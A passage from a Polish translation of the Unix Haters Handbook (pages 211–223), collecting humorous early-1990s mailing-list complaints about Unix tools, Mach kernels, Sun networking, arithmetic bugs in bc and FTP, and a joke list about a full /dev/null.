Page 211: Unix Haters Handbook

Okazało się że to kopia A/UX (instrukcje i CD-ROM). Odkryłem zastosowanie do którego Unix jest najlepiej dopasowany!

From: JZDate: Tue, 29 Oct 91 10:35:20 PSTSubject: Re: [Re: talk]

In a message AD wrote:

> > BŁĘDY> Protokół jest zależny od architektury, i nie można liczyć że będzie działał pomiędzy > systemami Sun i innymi maszynami.>

To wygląda na sugestię że są zależności co do kolejności bajtów w protokole albo coś takiego, co może jest prawdą, ale nawet bardziej niewiarygodnie frustrujący aspekt jest taki że Sun-y używają arbitralnie innego protokołu talk niż cokolwiek innego! Sun, w swojej nieskończonej mądrości, zdecydował się na własne rozwiązania, ponieważ dlaczego ktokolwiek na Sun-ie chciałby rozmawiać z kimś kto nie używa Sun-a? Sieć jest komputerem i tyle.

Dla śmiechu, zróbcie „man 5 bar” – kolejny standard plików archiwalnych jaki Sun próbuje narzucić światu. Format jest dokładnie taki jak tar, poza trzema różnicami: jest bit mówiący czy plik został przepuszczony przez compress; jest string mówiący czy plik jest kontynuacją wieloczęściowego archiwum; i oni LOSOWO POPRZESTAWIALI pola!! Normalny tar mógłby odczytać pliki bar, ale Sun zdecydował się poprzestawiać wszystko bez widocznego powodu.

Nie myślę, że tar nie jest parującą kupą gówna. Jedyną dobrą rzeczą co do „tar” to to, że nie jest „shar”.

From: CMDate: Tue, 29 Oct 91 20:34:50 ESTSubject: I Have Seen The Future Of The Future And It Sucks Too.

Tak więc doszedłem do wniosku że jestem lepszy niż przeciętny czytelnik unix-haters, ponieważ, hej, hackuję kernele Mach; nie tylko narzekam jak źle sprawy stoją, ale robię coś z tym, do cholery!

Wszystko zaczęło się kiedy moja badawcza wersja Mach padła w płomieniach i zabrała ze sobą kawałki systemu plików. Spoglądając w przeszłość, przypuszczam że powinienem żyć z rzeczami takimi jak niemożność drukowania na niektórych przypadkach. Tak czy siak, musiałem powiedzieć ludziom z Technicznego, że trzeba „dodać 10 megów albo coś około tego do partycji root, a skoro już jestem przy tym, dlaczego nie odbudować dysku skoro system plików jest rozwalony od tego, hmm, wielkiego padu kernela w ostatnim tygodniu...”

W końcu przyszedłem dzisiaj i znalazłem całkiem nowy pierwszorzędny system plików. Wszystko co musiałem zrobić to zastąpić produkcyjny kernel v2.5 badawczym kernelem v3.0. Tak, po prostu zamienić parę plików na partycji root i ponownie uruchomić, bez problemu.

211

Page 212: Unix Haters Handbook

Cóż, to trochę bardziej skomplikowane. Z jakiegoś nieznanego powodu maszyny Mach mają katalog „root” („/”) i katalog „superroot” („/../..”). Ktoś kiedyś próbował mi wyjaśnić dlaczego ale nie całkiem go zrozumiałem.

Nieważne, musisz mieć sztywne linki do plików kernela w obu katalogach root. Ponieważ Mach nie jest kernelem a mikrokernelem (binarka mikrokernela z tablicą symboli, debuggerem itd. to tylko 950 kB na maszynie MIPS, emulacja Unixa to tylko kolejne 1500 kB; naprawdę potrzebowałem tych dodatkowych 10 MB na partycji root), więc musisz utworzyć katalog mach_servers i wypełnić go różnymi programami jakich Mach używa do emulacji Unixa.

Podchwytliwa część jest taka, że ponieważ masz dwa katalogi root możesz włożyć katalog mach_servers do katalogu root i zrobić link symboliczny do katalogu superroot albo na odwrót.

Według dokumentacji można to zrobić na obydwa sposoby. Niestety dokumentacja nie mówi że działa tylko wtedy kiedy mach_servers jest w katalogu superroot a link symboliczny w katalogu root. To jest drugi przypadek wymieniony w dokumentacji, a ja miałem nieszczęście użyć pierwszego przypadku opisanego w dokumentacji. Głupi jestem.

Tak więc bootowałem moją maszynę 10 albo 12 razy tylko po to, żeby wpaść w debugger kernela za każdym razem. Gapiłem się na śledzenie stosu i czytałem kod, czytałem kod i gapiłem się na śledzenie stosu. Komunikaty błędów nie były pomocne, mówiły „init died”. Wielkie dzięki.

W końcu ponownie utworzyłem katalog mach_servers i znów zrebootowałem. Wywalił się dokładnie w tym samym miejscu narzekając na „błąd 6000”. Wkurzająca rzecz w Mach-u jest taka, że ponieważ twój system operacyjny jest rozciągnięty na 69 różnych przestrzeni adresowych, nigdy nie wiesz kto generuje komunikat błędu.

Musisz po prostu zapamiętać mapowanie zakresów kodów błędów do podsystemów. Np. błędy w zakresie 2500 są od podprogramów niezależnych od urządzeń, -300 to błędy sprawdzania argumentów w procedurze IPC stub, i tak dalej. Ale nigdy wcześniej nie przekroczyłem 6000. Więc znów wróciłem do kodu źródłowego... O. Błąd 6000 oznacza że jakiś plik nie jest wykonywalny.

Jeden z tych cholernych programów w mach_servers próbował wykonać inny z tych cholernych programów w mach_servers który niestety nie miał ustawionego bitu wykonywalności, więc naturalnie funkcja exec w swojej przedostatniej chwili istnienia wykrzyknęła „6000!” zanim wywaliła się całkowicie.

Myślę że morał jest taki, że Mach wygląda z zewnątrz jak Unix ale wewnętrznie jest zupełnie czymś innym. Kiedy jednak oderwiesz zadania, wątki, porty, wiadomości i obiekty pamięci, kiedy dojdziesz do samej esencji systemu, to nadal jest Unix. Nie ma nadziei.

From: ARDate: Sat, 04 Jan 92 21:45:36 ESTSubject: [Daily Clean-Ups]

Z annałów prawdziwego życia konserwatora Unixa... Nazwy zostały usunięte, aby chronić winnych.

Znalazłem następujące dwa problemy (mogą być powiązane) które pożerają czas procesora na <jakiejś.zepsutej.maszynie.unixowej>:

1) Z jakiegoś powodu, /etc/sa (z crontab) nie działał od jakiegoś czasu. /usr/adm/acct urósł potwornie:

212

Page 213: Unix Haters Handbook

-rw-r--r-- 1 root system 168637912 Jan 2 17:54 acct

Wszelkie próby przetworzenia informacji w acct powodowały zrzucanie core więc zrobiłem jego kopię w /bigtmp i opróżniłem plik. /etc/sa działa z powrotem normalnie.

2) Długie, nienormalne nazwy plików w „stylu Macintosha” psują dzienny skrypt oczyszczający (uruchamiany z crontab). Na przykład:

/bigtmp/ar/Music Backup/Music/People's Files/Romero/Grid/.resource

Oczywiście Unix nie potrafi poradzić sobie z takim systemem nazewnictwa bez jakiegoś systemu „ochronnego opakowania”. Musimy wziąć to pod uwagę jeśli będziemy nadal obsługiwać „Mc files” z <jakiejś.zepsutej.maszyny.unixowej>.Chyba będę musiał przepisać dzienny skrypt oczyszczający (w perl-u?), ale na razie zakomentowałem przeszkadzające komendy.

Load na <jakiejś.zepsutej.maszynie.unixowej> powrócił teraz do około 2.

Szczęśliwego nowego roku.

From: SSDate: Fri, 10 Jan 92 20:24:46 ESTSubject: Nothing Wrong With Unix That A Good DOS Virus Won't Cure; OR; Another Inter-operability Miracle Of "Open Systems"

Date: Fri, 10 Jan 92 09:40:56 MSTFrom: BGSubject: PC Virus Infects UNIX System

Konfigurowaliśmy kartę ethernetową na naszej nowej maszynie 486 z Unixem (SVR5) kiedy okazało się że musimy zabootować do DOS-a i uruchomić program konfiguracyjny karty. (Albo może konfigurację EISA – to zdarzyło się w moim biurze ale mnie tam nie było).

Bez problemu: po prostu utworzyć dysk startowy z DOS-a gdzieś obok i zabootować do DOS-a.

Niestety, ten system był zainfekowany wirusem ‘Stoned’. Ten wirus nadpisał ŚCIEŻKĘ BOOTOWALNĄ UNIXA kiedy zainfekowany DOS został zabootowany.

Efekt – nie ma SVR5. Będzie chyba trzeba zrobić formatowanie niskopoziomowe dysku i odbudować Unixa z oryginalnego nośnika.

Morały: 1) nie ignoruj wirusów DOS-owych dlatego że używasz Unixa dopóki NIGDY nie potrzebujesz używać DOS-a. 2) Męcz użytkowników DOS-a żeby notowali i zgłaszali dziwne zachowania ponieważ niektóre infekcje są bardzo kosztowne (kilka osobo-dni żeby odbudować ten system – przynajmniej był nowy i nic na nim nie było robione!)

From: Frank Yellin <fy%[email protected]>Date: Mon, 10 Feb 92 12:56:25 PSTSubject: bc Follies

213

Page 214: Unix Haters Handbook

Zwrócił mi na to uwagę VP. Spróbujcie użyć bc żeby obliczyć wartość 163/ln(163).

Na Sun-ie 4:

titanic:~[13] bc -l 163/l(163) 32.0-75570-60420-20649243140-49

Na DecStation:

hindenburg:~[1] bc -l 163/l(163) 32.0-85189980504841560572

From: LKDate: Mon, 10 Feb 1992 19:22:13 PSTSubject: Re: bc Follies

W 1984 pracowałem nad Logo dla Macintosha, cross-kompilowanego z maszyny Unixowej na kombinowanym PCC od Sumex-a. Assembler na maszynie Unixowej zaczął wyrzucać nielegalne instrukcje, i obawiałem się najgorszego. Linia była mniej więcej taka:

and R0, 7&F&3C@03^3

W końcu wyśledziłem następujący fragment:

p & FOO_FLAG

gdzie FOO_FLAG został zdefiniowany jako 0x80000000.

Chciałem zobaczyć ile to jest 0x80000000 w systemie dziesiętnym, więc włączyłem Logo na Macintoshu i wpisałem:

PRINT 8 * 65536 * 65536

a on odpowiedział:

7&F&3C@03^3

Tak, błąd był w podprogramie „itoa” w PCC, podstawie kompilatora Sumex i także w kompilatorze na maszynie Unixowej na której został skompilowany kompilator Sumex...

From: MSDate: Fri, 14 Feb 92 14:31:07 ESTSubject: RE: /dev/null (fwd) -- query and reply from sun-managers list

Date: Wed, 12 Feb 92 19:35:36 ESTFrom: fTo: [email protected]

214

Page 215: Unix Haters Handbook

Subject: RE: /dev/null

On 2/10/92, you allegedly write:

> From: Hacker> Subject: /dev/null full

> Nasz Sun sparc 1+ SunOS 4.1 OW2.0 zaczął działać bardzo powoli. Kiedy się wylogowuję > dostaję komunikat: /dev/null full: empty bit bucket.

> Co to znaczy? Wygląda na to że dobrze działa po reboocie, ale zastanawiam się czy tylko > objaw jest leczony.

Problem polega na tym, że null się zapełnił. Twoja pusta przestrzeń nie jest dłużej pusta, jest zapełniona.

NAJLEPSZE DZIESIĘĆ SPOSOBÓW NA OPRÓŻNIENIE PRZEPEŁNIONEGO WIADRA BITÓW:

1) Otwórz komputer. Rozejrzyj się za wiadrem bitów, znajdź CZERWONY korek na dole i wyjmij go NAD DUŻYM śmietnikiem.

2) Przestań używać komputera przez 6 miesięcy, bity się skompostują i będzie można kontynuować.

3) Wyjmij terminator ethernetowy i zrób „cat /dev/null > le0”. To wypluwa bity w ether.4) Kiedy piszesz do /dev/null, 0 nie zajmują żadnego miejsca, ale 1 zajmują. Spróbuj

przepuścić plik pełen 0 do /dev/null (binarne 0, NIE ASCII 0 – ASCII 0 zacznie przepełniać partycję).

5) To jest powszechny problem _tylko_ jeśli używasz komputera. Jeśli przestaniesz go używać, wiele problemów same się rozwiąże. Wykop też innych użytkowników.

6) Jeśli używasz dużo programów C, mogą mieć stringi zakończone Null które zajmują miejsce w /dev/null.

7) Zabierz komputer do Mr. Goodwrench, opróżni wiadro bitów, zmieni olej i doda płynu do spryskiwaczy, wszystko w mniej niż 29 minut. Teraz to okazja.

8) Rozważ upgrade do wiadra bajtów albo nawet wiadra słów.9) Ponieważ już używasz Open Window, otwórz okno i wyrzuć niepotrzebne bity przez

otwarte okno.10) Przestań używać gry „fortune” w swoim skrypcie .logout, panie „Hacker”

From: SWDate: Fri, 6 Mar 1992 15:09:47 PSTSubject: Re: How About A Serious Critique Of Unix?

Nie ma różnicy pomiędzy „fundamentalnymi błędami projektowymi Unixa” a „bardziej przypadkowymi błędami implementacji”.

Jeśli musisz napisać ileś tam wersji parsera ścieżki dostępu, ponieważ system nie zrobi tego dla ciebie, założę się że popełnisz „przypadkowe błędy implementacji”. I to nie będzie twoja wina. Nie jest rozsądne oczekiwać że każdy programista będzie miał wszechwiedzę co do poronionych wywołań systemowych, alokacji pamięci i języka który pozwala (nazywa to

215

Page 216: Unix Haters Handbook

„dumną cechą!”) na zarówno „==” jak i „=” w testach warunkowych, itd. Błąd leży w oryginalnych projektantach.

Długo czekałem na właściwy moment do użycia tego cytatu. Teraz jest tak samo dobry czas jak zwykle.

„Programy są pisane żeby były wykonywane przez komputery, a nie czytane przez ludzi.

To utrudnia zrozumienie programu, co odgrywa główną rolę w konserwacji oprogramowania. Literackie programowanie to podejście do poprawiania zrozumienia programów poprzez traktowanie programów jako literatury. Autorzy prezentują narzędzie wspomagające programowanie literackie w C++, oparte na systemie hipertekstu.

- streszczenie artykułu w numerze „Journal of Object-Oriented programming” ze stycznia 1992.

Podstawowym błędem projektowym w Unixie jest głupie wierzenie że „programy są pisane żeby były wykonywane przez komputery, a nie czytane przez ludzi”. [To stwierdzenie może być prawdziwe w sensie statystycznym, w którym stosuje się do większości programów. Ale jest totalnie, absolutnie niewłaściwe w sensie moralnym.]

Oto dlaczego mamy C – język zaprojektowany, żeby każda maszyna emulowała PDP-11. Oto dlaczego mamy system plików zmuszający każdy plik do bycia widzianym jako sekwencja bajtów (w końcu nie są niczym innym, prawda?). Oto dlaczego „protokoły” zależą od kolejności bajtów.

Oni nigdy nie oddzielili programu od maszyny. To nigdy nie weszło do ich małego, chronionego przez kalkulator wiszący na pasku, umysłu.

Inna myśl: Unix jest bardzo podobny do ekonomii USA – skupia się na krótkich terminach, łatwych do określenia ilościowego detalach na małą skalę, jednocześnie ignorując efekty długoterminowe. Tak, cała ekonomia jest zbudowana wokół idei taniej energii. Tak, tania energia zabija planetę. Tak, musimy wysyłać młodych do obcych krajów na śmierć żeby utrzymać nasze zaopatrzenie. Ale nie możemy tego naprawić, zbyt wiele od tego zależy. Pomyśl o chaosie; pomyśl o stratach produktywności; pomyśl o stratach zysków dla elity.

Jestem pewien, że jeśli przypatrzeć się dostatecznie blisko, można dostrzec że Bill Joy i AT&T byli zamieszani w zabójstwo Kennedy’ego.

Właśnie wygłaszam tyradę. Widzisz, co twoje spokojne racjonalne sugestie mi zrobiły? Może powinienem wypić kubek kawy, zrebootować tą maszynę i wziąć głęboki oddech. To powinno trochę potrwać...

From: JWDate: Sat, 7 Mar 92 03:27:11 -0500Subject: How About A Serious Critique Of Unix?

Ludzie, czy wy braliście narkotyki? Niektóre z ostatnich kilku wiadomości przyniosły dziwne, życzeniowe domniemania, że tylko to, tamto albo owo, jakaś grupa „ich” Zobaczy Światło i anioły będą śpiewać, i nagle ten pokręcony i wypaczony fragment „architektury” na jakim piszę zamieni się w elegancką i potężną wizję tego Co Może Być.

Nie. Źle. Świat się zmienia. Już. Głosy się podniosły, kursy zostały wytyczone, pieniądze (-mnóstwo- pieniędzy) zostały wydane, i magazyny handlowe po raz kolejny

216

Page 217: Unix Haters Handbook

brzmią swoją odwieczną pieśnią – martwy, martwy, Unix jest martwy. Umarł król, niech żyje król. On nadchodzi. On żyje. Jesteśmy uratowani.

Publiczność ucisza się, rozgląda się, czeka. Czekają, czekają, żeby zobaczyć kto, co jest ich zbawieniem.

Windows NT.Nie ma Boga.

From: LFDate: Mon, 16 Mar 1992 12:02-0500Subject: I Could Do Division Better Than This In Third Grade...

Jedną z największych rzeczy w życiu w przyszłości będzie to, że śmiertelnicy nie będą musieli dokonywać obliczeń. Cóż oczywiście Unix nie dorósł do tej przyszłości. Dostałem to w ostatnim tygodniu z klienta FTP którego używam na maszynie Unixowej (nieważne, że wskazuje na oczywistą bezdenną przepustowość sieci LAN, to drugi problem):

15678922 bytes sent in 52363.97 seconds (0.002 Kbytes/s)

Cóż, to nie wygląda dobrze, ale w końcu jestem tylko człowiekiem, a ludzie nie potrafią robić obliczeń, prawda? Więc zapytałem inny komputer:

(/ 15678922 52363.97) yields 299.42197

W końcu czy ważne są między przyjaciółmi dwa rzędy wielkości pomyłki?Może Unix ciągle używa suwaków i nie potrafi utrzymać prosto przecinka? (Nie wie

też jak się zaokrągla).

From: EWDate: Mon, 23 Mar 92 11:19:17 PSTSubject: [One for the Unix Haters]

[niezliczone ohydne nagłówki wycięte]

From: lp via rec.humor.funny

Właśnie przed chwilą pomyślałem że Unix jest jak rząd USA:Dawno, dawno temu, kilku wspaniałych ludzi stworzyło system który dawał ludziom

możliwości, wolność i zapewniał im kilka podstawowych usług.Teraz jest za stary, powolny, łatwy do skorumpowania, nadmiernie restrykcyjny, za

duży i zagmatwany żeby ktokolwiek mógł go zrozumieć, i kierowany przez ludzi którzy przejmują się tylko kasą.

From: SSDate: Tue, 24 Mar 1992 21:28:59 -0500Subject: Open Systems Means "Open Wide"

Świetnie, A/UX zupełnie zapomniał jak odzyskiwać przestrzeń dyskową.

217

Page 218: Unix Haters Handbook

Skompresowałem 64 MB plik (/ftp/mqueue/syslog.old) do 12 MB. Oczywiście, zamiast zwolnić 52 MB, po prostu zjadł kolejne 12 MB miejsca. Nie, Bart, nieskompresowana wersja nie leży po prostu obok.

Zobaczcie to: według du (mówi ci ile miejsca rzekomo używasz), zwolniłem 52 MB. Według df (mówi ci ile miejsca jest wolne), straciłem 12 MB.

Pozostawiam Unixowi posiadanie dwóch zupełnie niezwiązanych narzędzi które robią to samo, obie w zły sposób.

PRZED:

pseudo@brazil> df/ /dev/dsk/c0d0s0 8942 blocks 18299 i-nodes/ftp /dev/dsk/c6d0s3 25044 blocks 73118 i-nodes/u /dev/dsk/c5d0s3 53484 blocks 73368 i-nodespseudo@brazil> cd /ftppseudo@brazil> du -s *274 ansiloop47244 ftp1738 lib18 lost+found134936 mqueue4172 spool48956 src27370 syslogspseudo@brazil>

PO:

pseudo@brazil> df/ /dev/dsk/c0d0s0 8942 blocks 18299 i-nodes/ftp /dev/dsk/c6d0s3 1452 blocks 73128 i-nodes/u /dev/dsk/c5d0s3 53484 blocks 73368 i-nodespseudo@brazil> cd /ftppseudo@brazil> du -s *274 ansiloop47244 ftp1738 lib18 lost+found23984 mqueue4172 spool48956 src27370 syslogspseudo@brazil>

Nie pytajcie mnie, dlaczego w ogóle potrzebuję TRZYMAĆ 64 MB plik syslog-a. Mogę go wywalić, ale znając Unixa to kompletnie zapełni mi resztę dysku!

Ale poczekajcie, jest więcej!Oczywiście ponieważ nie mamy PRAWDZIWEJ SIECI z KLIENTAMI i

SERWERAMI nie mogę przenieść tego na taśmę backupową, dopóki nie przeniosę tego najpierw na Brigade. Więc nie mogę nawet zaufać przenoszenia tego na Brigade, ponieważ program sprawdzający sumy kontrolne (sum) daje dwie różne odpowiedzi na dwóch maszynach. Oczywiście, mogę użyć TRYBU WSTECZNEJ KOMPATYBILNOŚCI na testowym pliku binarnym, poniweważ jak DIABLI nie ufam ftp:

pseudo@brigade> sum -r foosum: Can't open -r37798 160 foo

218

Page 219: Unix Haters Handbook

pseudo@regiment> sum -r foo37798 320 foo

Czy to nie super kompatybilność? Chyba masz przypuszczać, że 160 = 320 w trybie kompatybilności. Widzisz, to JEST kompatybilne, tak długo jak nie zależy ci na spójnej wartości wielkości pliku. Ale wiesz, tylko dlatego że niezrozumiały atrybut jak „liczba bloków” zmienia się nieprzewidywalnie kiedy przenosisz plik z dysku na dysk, nie oznacza to że możesz go zignorować. Sprawdź ten spaczony klejnot z manuala sum:

DIAGNOSTYKA

Błąd odczytu jest nierozróżnialny od końca pliku na większości urządzeń; sprawdzaj ilość bloków.

From: PSDate: Thu, 2 Apr 92 11:24:54 ESTSubject: Natural Analogues of Unix

Z New York Times-a, numer z 1 kwietnia 1992:

„Naukowcy odkryli co może być największym i najstarszym żyjącym organizmem na ziemi – indywiduum silniejszym niż niebieski wieloryb, gigantyczna sekwoja albo tacy przeszli pretendenci do przewagi wielkości jak dinozaury.

Ten organizm to gigantyczny grzyb, przeplatany włóknami i podobnymi do korzeni mackami, które miały swój początek w jednym zarodniku przed 1,500 do 10,000 lat temu, a teraz rozciąga się na ponad 30 akrów ziemi w lesie niedalego Crystal Falls, Mich., wzdłuż granicy z Wisconsin.”

Wyobraźcie sobie: tysiące lat później archeolodzy komputerowi odkryją wielką sieć prymitywnych komputerów na których działa Unix. Będą mieli teorię że rozprzestrzenił się z jednego zarodnika, który będzie można wyśledzić w New Jersey.

From: JWDate: Sat, 18 Apr 92 02:50:09 -0400Subject: Re: Why Is Dxclock Bigger Than Vmunix?

From: PDDate: 16 Apr 92 13:00:30 GMT

Dla odniesienia, oto wyjście z size (Ultrix 4.2):

text data bss dec hex1556480 327680 86112 1970272 1e1060 /usr/bin/dxclock1140496 117200 570848 1828544 1be6c0 /vmunix

Jestem pewien że ten temat był już bity do śmierci wcześniej, ale wrócę do niego znowu – DLACZEGO ZAJMUJE 400 KILOBAJTÓW KODU I 200 KILOBAJTÓW DANYCH WIĘCEJ ŻEBY POKAZAĆ GŁUPI ZEGAR NA EKRANIE NIŻ ZAIMPLEMENTOWAĆ ULTRIXA?

219

Page 220: Unix Haters Handbook

Czuję się teraz dużo lepiej.

From: ADDate: Sat, 2 May 92 16:34:15 EDTSubject: Caution: No User Configurable Parts Inside....

Wczoraj popołudniu, zająłem się „prostym” zadaniem przeniesienia maszyny W z podsieci A do podsieci B... co wydawało się być łatwym zadaniem...

Pamiętając że niewiele można zrobić ze współczesnym sun-em jeśli nie zostanie właściwie zabootowany i nie znajdzie swoich serwerów plików, itd., zatroszczyłem się o zmianę „wszystkich” magicznych plików na maszynie przed jej wyłączeniem do przeniesienia – zmieniłem adres internetowy na maszynie i głównym serwerze YP. Ponieważ myślałem że będę przenosił później maszynę z powrotem, zachowałem stare wersje właściwych plików z odpowiednim rozszerzeniem.

Przeniosłem maszynę na drugą stronę piętra, podłączyłem ją, i odmówiła bootowania. Cóż, w tym momencie powinienem kombinować z konfiguracją żeby zorientować się o co chodzi... ale, ponieważ pliki nie mogą być edytowane w tym etapie przed bootowaniem, miałem niewielki wybór – bootować z sieci maszynę (tak, można użyć CD-ROMu, ale to też jest bolesne, i to też przeszedłem). Teraz nie mogłem zabootować z podsieci B do której przeniosłem ponieważ nie miała maszyny w konfiguracji sieci która umożliwiłaby bootowanie z sieci (i jestem pewien że ustawianie tego jest tak samo intuicyjne jak wszystko inne...). Tak więc oznacza to że musiałem fizycznie targać maszynę z powrotem przez piętro do starego podłączenia w podsieci A.

Z powrotem w podsieci A, znalazłem że niektóre pliki startowe nie tylko patrzą na magiczną nazwę pliku, ale także magicfilename.* i oczekują że * będzie pasować do czegoś w formie xx0. Więc kiedy zachowałem backup z własnym rozszerzeniem, to złamało przypuszczenia kruchego skryptu i w jakiś sposób go rozwaliło. Nie zawracałem sobie głowy próbami zrozumienia pełnych implikacji tego, ponieważ nie rozumiem subtelności sh i nie zamierzam. Skasowałem moje stare dobre pliki (Nie chciałem drugiego zgadywania i próby nazywania plików w sposób jaki nie zostanie źle zinterpretowany), więc przeniosłem maszynę z powrotem przez piętro (nawet IPC nie są całkowicie przenośnymi maszynami).

Teraz przestał narzekać, ale nie mógł znaleźć maszyny na której większość pozostałych plików była przechowywana. Wygląda na to że ta maszyna była w tej samej podsieci przed przeniesieniem, ale w innej po. Przypuszczam że zgadłem że spowoduje to złamanie wszystkich założeń w skrypcie startowym.

Właśnie miałem przeciągnąć kabel i dać sobie spokój z programowymi rozwiązaniami problemu, wpadłem na Unixowego speca. Opisałem swój problem i on powiedział „A! Twoja maszyna musi znać bramę do wyjścia z sieci.” Więc zajrzeliśmy do magicznych skryptów startowych i znaleźliśmy ukryty komentarz w jednym z nich stwierdzający że musimy wpisać nazwę hosta bramy do pliku magicznego, potem skopiować program „route” na partycję root. Wtedy skrypt zrobi sobie jakąś statyczną trasę przed domyślną bramę i będzie szczęśliwy. Stwierdziłem że to może nie działać z powodu wielkiej innowacji Suna znanej jako biblioteki dynamiczne (w poprzedniej walce z bootowaniem maszyny próbowałem kopiować pliki na partycję roota i okazało się że nie działają w ogóle, kiedy biblioteki dynamiczne nie były zamontowane... i nie miałem pojęcia czego właściwie chce). Spec zapewnił że Sun nie ma aż takich uszkodzeń mózgu i powinno działać.

Przeniosłem maszynę z powrotem do podsieci A, wyedytowałem plik magiczny, skopiowałem program route. W podsieci B maszyna odmówiła bootowania z dwóch powodów: (1) nie mógł znaleźć cat-a, (2) nie mógł znaleźć ld.so (współdzielonych bibliotek).

220

Page 221: Unix Haters Handbook

Więc skrypt kłamał, naprawdę potrzebował cat-a (który także potrzebował dynamicznych bibliotek)... I route też był dynamicznie linkowany.

Z powrotem w podsieci A znaleźliśmy że w innych miejscach tego samego skryptu Sun użył shcat (coś zdefiniowanego w skrypcie) ponieważ cat-a nie były – wyraźnie zajmowaliśmy się częścią kodu która nie była wcześniej używana. Konsultacja z innym specem Unixowym doprowadziła nas do znalezienia statycznie zlinkowanej wersji route na innej maszynie w laboratorium. Z powodu przeważających uszkodzeń mózgu Unixa poddałem się i zakodowałem na sztywno adres IP dla bramy w skrypcie shellowym i zataszczyłem maszynę znów do podsieci B – gdzie znów odmówiła bootowania.

Teraz pojawił się pierwszy spec i pobawił się ifconfig-iem i stwierdził, że źle jest ustawiona maska sieci. Dalsze przeszukiwania pliku bootowania upewniły go że jeśli dodam wpis do innego magicznego pliku, to unieważni domyślne (i złe) założenia zrobione przez ifconfig co do tego, jaka część adresu IP określa naszą fizyczną sieć. Kolejna wycieczka, maszyna poszła o krok dalej i powiedziała mi że nie mam dostępu do montowania systemów plików jakie chciałem zamontować. To wzięło się stąd, że minęło 8 godzin od rozpoczęcia projektu i nie miałem czasu na aktualizację prawdziwego kanonicznego źródła naszej przestrzeni nazewniczej i automagicznego uaktualniania – to przynajmniej było łatwe do naprawienia.

...więc, po 8 czy 9 godzinach później, maszyna działa w podsieci B. Następnym razem po prostu przeciągnę długi kabel i będę głośno krzyczał na każdego narzekającego na plątaninę kabli w laboratorium...

From: ABDate: Fri, 5 Jun 92 12:41:30 PDTSubject: Workstations

Jeśli na stacji kolejowej zatrzymują się pociągi,to na stacji roboczej zatrzymuje się robota.

From: SSDate: Thu, 18 Jun 1992 14:24:37 -0500Subject: Our Intelligence Community

Wiecie, NSA zawsze mnie straszyła, ale nie w sposób, o jakim myślicie. Oto dlaczego (z RISKS, oczywiście):

Date: Wed, 17 Jun 92 14:55 EDTFrom: FCSubject: Two wrongs make a right

Niektórzy z nas są świadomi, że skutki odmowy dostępu do kolejki wyjściowej urządzeń peryferyjnych mogą być dewastujące, ale są także wśród nas ci, którzy korzystają z tego jak gdyby była to funkcja. Oto co przydarzyło mi się dzisiaj.

Na 3B2, program do robienia i przywracania backupów nie pozwala na przywrócenie informacji do innej struktury katalogów niż do tej, z której zostały zbackupowane bez wielkich trudności. Musiałem przywrócić ponad 9.000 plików, i wszystkie były zbackupowane z „/v”, ale system na który były przywracane miał miejsce tylko na „/u”. W efekcie musiałem zrobić przywracanie do nowo utworzonego

221

Page 222: Unix Haters Handbook

„/v” w głównym systemie plików, który nie miał wystarczająco dużo miejsca na całkowite przywrócenie. Miałem plan – w trakcie przywracania taśmy będę kopiował pliki z dysku na dysk i kasował je po skopiowaniu. Robiłem wcześniej takie „wyścigi” i wiedziałe, że muszę przesyłać dane z wystarczająco dużą szybkością żeby główny system plików nie zapełnił się – po prostu musiałem pobić transfer z taśmy transferami z dysku na dysk. Oczywiście taśma w trybie strumieniowym działa dużo szybciej niż dysk jakiego używałem, więc w końcu byłem bezsilny ponieważ zajmuje dwa dostępy do dysku żeby przenieć plik z dysku na dysk, ale tylko 1 dostęp żeby dostać nowy plik z taśmy. Próbowałem robić wielokrotne procesy transferów na wysokim priorytecie, ale oczywiście DMA zawsze wygrywa z taśmy na dysk.

Rozwiązanie jakiego użyłem (kiedy dostępne miejsce zaczęło być krytyczne) to zatrzymanie wyjścia na konsolę! Trudno uwierzyć że to działa? Oczywiście. Transfer z taśmy produkuje kropkę na ekranie dla każdego przetransferowanego pliku, i przez wciśnięcie <ctrl>s (zatrzymaj wyjście) mogłem zatrzymać transfer z taśmy po każdych kilkuset plikach. Obserwując miejsce na dysku, zatrzymując wyjście na konsolę żeby zablokować transfer z taśmy kiedy miejsca było za mało i kontynuując kiedy wystarczająco dużo miejsca się zwolniło, mogłem dokończyć pracę.

Istotne w tym obłędzie jest to, że z praktycznego punktu widzenia wiedza jak spowodować odmowę obsługi może być bardzo użyteczną częścią administrowania systemem – zwłaszcza kiedy można to zrobić selektywnie. Tytuł tej wiadomości wskazuje że poprzez wiedzę jak złamać system, mogłem skompensować jeden błąd w systemie poprzez wykorzystanie innego błędu – tak więc 2 błędy dały pozytywny skutek!

PS. Jestem zainteresowany innymi historiami gdzie znane dziury zostały użyte do skompensowania innych dziur. Uważam że większość najlepszych administratorów systemów i programistów systemowych wie o nich i wykorzystuje tego typu błędy cały czas, i bez takich błędów nigdy nie bylibyśmy w stanie poprawnie zaprojektować systemu – inaczej mówiąc nie bylibyśmy w stanie poprawiać błędów przy użyciu innych błędów.

From: JZDate: Thu, 25 Jun 92 23:19:46 PDTX-Windows: Sometimes you fill a vacuum and it still sucks.Subject: The Personification Of UNIX

Jest gra automatowa zwana Block-Out (albo jakoś tak) która jest wersją Tetrisa w 3D; patrzysz w dół na stos bloków i obracasz druciane bryły w trójwymiarze. Ale nie o to chodzi.

Chodzi o to, że kiedy runda się kończy, wielka głowa pojawia się na ekranie, warcząc coś w sposób uniemożliwiający zrozumienie co mówi, i kiedy to robi w tle przewijają się komunikaty błędów Unixa, z takimi klasykami jak:

core dumpedbad system calltoo many linksfsck failednot a typewriterhangup

i mój osobiście ulubiony

network is unreachabl

222

Page 223: Unix Haters Handbook

(W prawdziwym duchu buforów o stałej długości w Unixie).Więc teraz zawsze kiedy Unix mnie wkurzy, widzę obraz tej wielkiej głowy

wrzeszczącej na mnie niezrozumiale.

Date: Tue, 4 Aug 92 16:05:40 EDTFrom: JLSubject: OK, Now I've GOT To Know

W środku zdumiewającej wiadomości TK o „Polityce Unixa™”, pojawił się następujący fragment:

Reakcje użytkowników na pomocny komunikat „core dumped” w Unixie™ są całkiem podobne do reakcji obywateli z lat 90 na problemy takie jak deficyt. Problem jest tak duży, tak złożony, tak przesiąknięty polityką i argumentami specjalnych interesów, że żadna zdrowa psychicznie osoba nie mogła go zrozumieć. Racjonalny własny dobrze pojęty interes i zachowanie wymagały negowania i zdystansowania się >Od problemu. [oryg. >From].

